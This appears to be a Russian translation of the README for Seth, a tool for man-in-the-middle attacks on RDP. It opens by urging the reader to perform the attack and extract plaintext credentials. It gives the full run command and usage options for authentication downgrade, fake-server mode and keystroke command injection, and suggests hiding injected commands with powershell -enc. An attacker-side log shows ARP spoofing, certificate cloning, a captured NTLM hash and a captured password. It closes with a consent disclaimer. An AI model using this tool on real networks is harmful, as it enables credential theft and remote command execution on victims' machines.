
Выполните атаку MitM и извлеките учетные данные в открытом виде из RDP-соединений.
Seth — это инструмент, написанный на Python и Bash, для MitM-атак на RDP-соединения путем попытки понижения версии соединения с целью извлечения учетных данных в открытом виде. Он был разработан для повышения осведомленности и обучения важности правильной настройки RDP-соединений в контексте пентестов, семинаров или выступлений. Автор — Adrian Vollmer (SySS GmbH).
Запустите так:
$ ./seth.sh <INTERFACE> <ATTACKER IP> <VICTIM IP> <GATEWAY IP|HOST IP> [<COMMAND>]
Если хост RDP не находится в той же подсети, что и машина жертвы, последний IP-адрес должен быть адресом шлюза.
Последний параметр необязателен. Он может содержать команду, которая выполняется на хосте RDP путем имитации нажатия WIN+R через инъекцию нажатий клавиш. Инъекция клавиш зависит от того, какая раскладка клавиатуры используется жертвой — в настоящее время она надежно работает только с английской раскладкой США. Я рекомендую избегать специальных символов, используя powershell -enc <STRING>, где STRING — это ваша команда в кодировке UTF-16le и Base64. Однако calc должен быть достаточно универсальным и выполнит задачу.
Скрипт оболочки выполняет ARP-спуфинг, чтобы занять позицию «человек посередине», и перенаправляет трафик так, чтобы он проходил через RDP-прокси. Прокси можно вызывать отдельно. Это может быть полезно, если вы хотите использовать Seth в сочетании с Responder. Используйте Responder для получения позиции «человек посередине» и одновременно запускайте Seth. Выполните seth.py -h для получения дополнительной информации:
usage: seth.py [-h] [-d] [-f] [-p LISTEN_PORT] [-b BIND_IP] [-g {0,1,3,11}]
[-j INJECT] -c CERTFILE -k KEYFILE
target_host [target_port]
RDP credential sniffer -- Adrian Vollmer, SySS GmbH 2017
positional arguments:
target_host target host of the RDP service
target_port TCP port of the target RDP service (default 3389)
optional arguments:
-h, --help show this help message and exit
-d, --debug show debug information
-f, --fake-server perform a 'fake server' attack
-p LISTEN_PORT, --listen-port LISTEN_PORT
TCP port to listen on (default 3389)
-b BIND_IP, --bind-ip BIND_IP
IP address to bind the fake service to (default all)
-g {0,1,3,11}, --downgrade {0,1,3,11}
downgrade the authentication protocol to this (default
3)
-j INJECT, --inject INJECT
command to execute via key press event injection
-c CERTFILE, --certfile CERTFILE
path to the certificate file
-k KEYFILE, --keyfile KEYFILE
path to the key file
Для получения дополнительной информации прочтите PDF в doc/paper (или читайте код!). В документе также содержатся рекомендации по контрмерам.
Вы также можете посмотреть двадцатиминутную презентацию с демонстрацией (начиная с 14:00) на YouTube: https://www.youtube.com/watch?v=wdPkY7gykf4
Или посмотрите только демонстрацию (с субтитрами) здесь: https://www.youtube.com/watch?v=JvvxTNrKV-s
Следующий вывод показывает взгляд атакующего. Seth перехватывает хэш, который можно взломать офлайн, а также пароль в открытом виде. Здесь NLA не применяется, и жертва проигнорировала предупреждение о сертификате.

# ./seth.sh eth1 192.168.57.{103,2,102}
███████╗███████╗████████╗██╗ ██╗
██╔════╝██╔════╝╚══██╔══╝██║ ██║ by Adrian Vollmer
███████╗█████╗ ██║ ███████║ [email protected]
╚════██║██╔══╝ ██║ ██╔══██║ SySS GmbH, 2017
███████║███████╗ ██║ ██║ ██║ https://www.syss.de
╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝
[*] Spoofing arp replies...
[*] Turning on IP forwarding...
[*] Set iptables rules for SYN packets...
[*] Waiting for a SYN packet to the original destination...
[+] Got it! Original destination is 192.168.57.102
[*] Clone the x509 certificate of the original destination...
[*] Adjust the iptables rule for all packets...
[*] Run RDP proxy...
Listening for new connection
Connection received from 192.168.57.103:50431
Downgrading authentication options from 11 to 3
Enable SSL
alice::avollmer-syss:1f20645749b0dfd5:b0d3d5f1642c05764ca28450f89d38db:0101000000000000b2720f48f5ded2012692fcdbf5c79a690000000002001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0001001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0004001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0003001e004400450053004b0054004f0050002d0056004e0056004d0035004f004e0007000800b2720f48f5ded20106000400020000000800300030000000000000000100000000200000413a2721a0d955c51a52d647289621706d6980bf83a5474c10d3ac02acb0105c0a0010000000000000000000000000000000000009002c005400450052004d005300520056002f003100390032002e003100360038002e00350037002e00310030003200000000000000000000000000
Tamper with NTLM response
TLS alert access denied, Downgrading CredSSP
Connection lost
Connection received from 192.168.57.103:50409
Listening for new connection
Enable SSL
Connection lost
Connection received from 192.168.57.103:50410
Listening for new connection
Enable SSL
Hiding forged protocol request from client
.\alice:ilovebob
Keyboard Layout: 0x409 (English_United_States)
Key press: LShift
Key press: S
Key release: S
Key release: LShift
Key press: E
Key release: E
Key press: C
Key release: C
Key press: R
Key release: R
Key press: E
Key release: E
Key press: T
Key release: T
Connection lost
[*] Cleaning up...
[*] Done.
python3
tcpdump
arpspoof
arpspoof является частью dsniff
openssl
Используйте на свой страх и риск. Не используйте без полного согласия всех участников. Только в образовательных целях.